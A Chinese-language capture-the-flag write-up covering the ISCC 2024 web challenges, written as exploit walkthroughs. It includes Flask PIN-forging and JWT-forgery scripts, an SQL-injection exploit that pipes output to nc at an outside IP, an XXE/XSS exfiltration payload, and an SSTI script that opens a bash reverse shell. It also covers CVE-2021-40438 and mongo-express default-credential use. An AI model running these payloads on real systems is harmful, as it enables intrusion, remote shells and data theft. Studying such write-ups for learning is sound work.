本文最后更新于 2024年9月21日 下午
前言:虽然是人脉顿悟赛,归根结底还是要总结一下,因为这个比赛好久没有认真学习了,先把这篇写完吧,只看web部分。
Web week1 还没想好名字的塔防游戏 这题写的时候其实没有思路的,按照往常的web游戏思路都是改js就行或者玩到底,很多师傅玩的时候还是挺久的。
先按正常思路看源码搜alert
看这个以为是什么小说要社工,其实完全想法反了,再上一个图片
还有题目的提示 Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!
仔细研究一下并不是所有的单词首字母都是大写,最后的flag其实就是游戏加提示开头字母大写的拼接起来。应该是ISCC{MDWTSGTMMCCSITTDWS},也是记上一种新的游戏web了
Flask中的pin值计算 这题写的时候后来又刷到pin的时候,小记录了一点,这边也简要写一下吧,后面打算写个pin的总结。
先上个图片
首先也是看源码吧,没有靶机了,可以看出来是base64,解一下密码是/getusername,来到下面的页面,看到海螺其实想到哪个比赛的那个神奇的海螺,考察的知识点是ssit模板注入,看一下这一个页面并不是flask,挨个尝试输入app.py可以得到下面这个图
告诉我username, 输入这个会有回显pincalculate,那就是典型的算pin值的了。
进入crawler这个页面,是一个动态实时的数学计算题目,可以写一个脚本爬一下及时的答题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests response = requests.get("http://101.200.138.180:10006/get_expression" )if response.status_code == 200 : expression = response.json()['expression' ] result = eval (expression) print ("计算结果:" , result) response = requests.get("http://101.200.138.180:10006/crawler?answer={}" .format (result)) print ("网站返回的响应:" , response.text)else : print ("获取数学表达式失败,状态码:" , response.status_code)
知道了flask使用的版本以及uuidnode位于的地方。
进到/woddenfish的界面,敲了一会我是没敲出个所以然,看看源码给了提示是ISCC_muyu_2024。
JSON Web Tokens - jwt.io 这个网站改改吧,我好像是非预期,莫名其妙的bp点几下就进去了,应该是要根据这个改的进去之后
是这个样子,Unicode解密02:42:ac:18:00:02给了地址,接着去看machine_id
下面的一个界面我也没截图,大概就是一个俱乐部的界面吧也是需要用脚本跑的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ![pin4](../../images/iscc2024/pin4.png)from datetime import timedeltafrom json import loads, dumpsfrom jwcrypto.common import base64url_decode, base64url_encodedef topic (topic ): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.' ) parsed_payload = loads(base64url_decode(payload)) parsed_payload['role' ] = "vip" fake_payload = base64url_encode( (dumps(parsed_payload, separators=(',' , ':' )))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' originaltoken = '''这里面是页面的''' topic = topic(originaltoken)print (topic)
要给jwt一个验证带入跑一下就行。
得到supervip的key用GitHub脚本可以直接出,自己clone就行
之后伪造一下就行了
这样所有的数据就得到了,这里注意版本啊,劳累我交wp还把版本的交错了高版本sha1,低版本md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlibfrom itertools import chain probably_public_bits = [ '' 'flask.app' , 'Flask' , '/usr/local/lib/python3.11/site-packages/flask/app.py' ] private_bits = [ '' ,/sys/class /net/eth0/address 十进制 '' ] h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = numprint (rv)
最后再console里面交一下pin码就出答案了。
与时俱进 这题没写,最后的顿悟的太厉害了,我估摸着我跟着顿悟wp说不定还没交上,看起来也挺难的,如有有空再说吧,
week2 代码审计 这题是原题啊[De1CTF 2019]SSRF Me ,跟着走一遍吧。下面是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #! /usr/bin/env python from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec(self): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500: result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ]) def geneSign(): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ]) def challenge(): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index(): return open("code.txt" ,"r" ).read () def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read ()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return Falseif __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=9999)
定位到关键代码
有三个路由
1 2 3 '/' '/De1ta' '/geneSign'
好懒累了,具体逻辑看原题吧我就说一下思路
使用if的判断
可以尝试用readscan绕过
param放要读的文件flag.txt
cookie里的action+GET里的param加密后要等于cookie里的sign
geneSign告诉我们param+关键字action的MD5加密是多少
那我们在/geneSign页面传param=flag.txtread就能算出来secret_key+flag.txt+readscan的值是多少,可以绕过弱比较
先获得sign的值
最终,回到/De1ta
页面,GET
传参param=flag.txt
,cookie
传参
原神启动 我们原神玩家也是出息了。
作为一个op能直接答题那还是看一下源码吧,与熊论禅
就是简单的答题,输入正确答案可以问问题,尝试输入flag,告诉我们在flag.txt
以为直接是flag的,交完之后也不对啊。尝试扫了一下,并没有发现有什么异端,挨个进入,发现http://101.200.138.180:8080/index.jsp,里面可以显示是服务器的版本号,搜看看有没有cve
有漏洞可以利用,我们在虚拟机运行利用漏洞读取得到flag
掉进阿帕奇的工资 这题也难也是劳累
进入的页面是登陆界面,尝试用admin爆破密码进去的,爆破好久也是没进去,那就只能注册一个账号看看了。
?看看源码。
还是学生就遭受了社会的毒打,要求是应该要是manager才能进入的啊
总结其实也不用改bp,就是页面注册的时候把信息都填好,验证问题选择第二个,然后修改密码选择回答问题,之后就可以登陆了
进去就是一个界面。
在工资界面上尝试一会好像是异或,输入ls和]B,可以爆出所有的内容
把所有的挨个试一下,结果应该是在Docfile
一开始非预期可以直接用异或出的,环境修复之后就不行了,这题也考察的cve漏洞
CVE-2021-40438 ,按照流程也是最后出flag的
构造transfer.php?dashachun=unix:A……A|http://secret.host/flag得到flag
week3 这种全考反弹shell我i也是无奈了,最后的服务器环境也一直在爆,哎。
这题我出不了了 这题我也真的出不了啊
原题 ,跟着过一遍吧,原理看文章就行
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from random import randintimport requests payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 47.122.22.16 5566`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' ' *1024 *1024 *16 ) username = str (randint(1 , 65535 ))+str (randint(1 , 65535 ))+str (randint(1 , 65535 )) data = { 'username' : username+payload, 'password' : 'AAAAAA' }print ('ok' ) r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92' , data=data)print (r.content.decode('utf-8' ))
在跑的时候要多连几下,可能连不起来,自己要买台云服务器方便一点,根据实际情况来
一道普通的XSS题目 显然这也并不简单,这是一道国际赛的原题,当时还是爆零了,我们也借鉴借鉴
文章 ,对比原文可以看出基本没有变化,也是跟着思路来一遍吧(这不就是炒冷饭,我太失败了)
改一下脚本,改个vps和端口,然后用node.js跑一下就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 xmls = `<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY xxe SYSTEM "http://101.200.138.180:30280/flag" >]> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:template match="/asdf"> <HTML> <HEAD> <TITLE></TITLE> </HEAD> <BODY> <img> <xsl:attribute name="src"> http://这边填服务器和端口/?&xxe; </xsl:attribute> </img> </BODY> </HTML> </xsl:template> </xsl:stylesheet>` xml = `<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)} "?> <asdf></asdf>` xss = encodeURIComponent (xml)console .log (xss)
然后拼接脚本就行
1 2 3 4 5 6 7 8 9 10 11 12 http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2F xsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2B CjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4x ODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudz Mub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdG NoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTE U%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2 w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly80Ny4xMjIuMjIuMTY6ODA4 MC8%2FJnh4ZTsKICAgICAgICAgIDwveHNsOmF0dHJpYnV0ZT4KICAgICAgICA8L2ltZz4KICAgICAgPC 9CT0RZPgogICAgPC9IVE1MPgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg%3D%3D%2 2%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E
多尝试几次理论上火狐也是可以传的我试过了
回来吧永远滴神 呜呜呜,我再也不看英雄联盟了。
首先的界面是需要填空的,搜索一下
填空就行,然后进入一个页面
好像是模板注入,看不了源码,view-source也看不了,用bp抓一下内容
整数这块有点问题噢,后面还有等于,赛博厨子一把梭,先base64再转hex得到
通过分析flag应该是拼接的内容,我们再看看原来的,尝试模板注入看看
有内容的,那就尝试写个脚本看看吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import functoolsimport timeimport requestsfrom fenjing import exec_cmd_payload url = "http://101.200.138.180:16356/evlelLL/646979696775616e" cookies = { 'session' : 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zk7ADA.GKdiBAKEeHRKoMPRWoSoRkaaH2c' }@functools.lru_cache(maxsize=1000 ) def waf (payload: str ) -> bool : """检查字符串是否能通过WAF。如果能通过,返回True;否则返回False。""" time.sleep(0.02 ) try : resp = requests.post(url, cookies=cookies, timeout=10 , data={"iIsGod" : payload}) return "大胆" not in resp.text except requests.RequestException as e: print (f"请求异常: {e} " ) return False if __name__ == "__main__" : shell_payload, will_print = exec_cmd_payload( waf, 'bash -c "bash -i >& /dev/tcp/服务器/端口 0>&1"' ) if not will_print: print ("这个payload不会产生回显!" ) print (f"{shell_payload=} " )
也是概率性的事情
讲改内容输入到页面的内容,反弹shell
还有一部分的内容估计就在app.py里面了,是个很长内容的代码
具体定位到key和偏移值和密文,写个脚本得到答案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 ![yyds8](../../images/iscc2024/yyds8.png)from Crypto.Util.Padding import unpadfrom Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2bfrom enum import Enumclass Mode (Enum ): ECB = 0x01 CBC = 0x02 CFB = 0x03 class Cipher : def __init__ (self, key, iv=None ): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16 ]) for i in range (0 , len (key), self.BLOCK_SIZE // 16 )] self.DELTA = 0x9e3779b9 self.IV = iv self.ROUNDS = 64 self.mode = self._determine_mode(iv) def _determine_mode (self, iv ): if iv is None : return Mode.ECB elif len (iv) * 8 == self.BLOCK_SIZE: return Mode.CBC else : return Mode.CFB def _xor (self, a, b ): return bytes (_a ^ _b for _a, _b in zip (a, b)) def _decrypt_block (self, block ): mask = (1 << (self.BLOCK_SIZE // 2 )) - 1 c0 = b2l(block[:4 ]) c1 = b2l(block[4 :]) sum = (self.DELTA * self.ROUNDS) & mask for i in range (self.ROUNDS): c1 -= ((c0 << 4 ) + self.KEY[(self.ROUNDS - i - 1 + 2 ) % len (self.KEY)]) ^ (c0 + sum ) ^ ( (c0 >> 5 ) + self.KEY[(self.ROUNDS - i - 1 + 3 ) % len (self.KEY)]) c1 &= mask c0 -= ((c1 << 4 ) + self.KEY[(self.ROUNDS - i - 1 ) % len (self.KEY)]) ^ (c1 + sum ) ^ ( (c1 >> 5 ) + self.KEY[(self.ROUNDS - i - 1 + 1 ) % len (self.KEY)]) c0 &= mask sum -= self.DELTA return l2b((c0 << (self.BLOCK_SIZE // 2 )) | c1) def _encrypt_block (self, block ): m0 = b2l(block[:4 ]) m1 = b2l(block[4 :]) mask = (1 << (self.BLOCK_SIZE // 2 )) - 1 sum = 0 for i in range (self.ROUNDS): sum += self.DELTA m0 += ((m1 << 4 ) + self.KEY[i % len (self.KEY)]) ^ (m1 + sum ) ^ ((m1 >> 5 ) + self.KEY[(i + 1 ) % len (self.KEY)]) m0 &= mask m1 += ((m0 << 4 ) + self.KEY[(i + 2 ) % len (self.KEY)]) ^ (m0 + sum ) ^ ( (m0 >> 5 ) + self.KEY[(i + 3 ) % len (self.KEY)]) m1 &= mask return l2b((m0 << (self.BLOCK_SIZE // 2 )) | m1) def _decrypt_ecb (self, blocks ): return b'' .join(self._decrypt_block(block) for block in blocks) def _decrypt_cbc (self, blocks ): plaintext = b'' prev_block = self.IV for block in blocks: decrypted_block = self._decrypt_block(block) plaintext_block = self._xor(prev_block, decrypted_block) plaintext += plaintext_block prev_block = block return plaintext def _decrypt_cfb (self, blocks ): plaintext = b'' prev_block = self.IV for block in blocks: output = self._encrypt_block(prev_block) plaintext_block = self._xor(output, block) plaintext += plaintext_block prev_block = block return plaintext def decrypt (self, ciphertext ): block_size_bytes = self.BLOCK_SIZE // 8 blocks = [ciphertext[i:i + block_size_bytes] for i in range (0 , len (ciphertext), block_size_bytes)] if self.mode == Mode.ECB: plaintext = self._decrypt_ecb(blocks) elif self.mode == Mode.CBC: plaintext = self._decrypt_cbc(blocks)
一共得到四个部分拼接起来看看可能是栅栏,我们用在线枚举得到答案
实战阶段一 这个cve漏洞完全跟着网上一篇文章来就可以成功了,,也说一下
文章 ,跟着来就行了
先尝试看看flag里面有没有内容,然后注意到了cve漏洞,去具体搜索一下看看
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登 录,或者目标服务器没有修改默认的账号密码( admin:pass ),则可以执行任意node.js代码。
1 Authorization: Basic YWRtaW46cGFzcw==
改个success+账户名就行
总结:虽然是炒冷饭,还是记录一下吧,没什么好说的,人民的好比赛。(劳累.jpg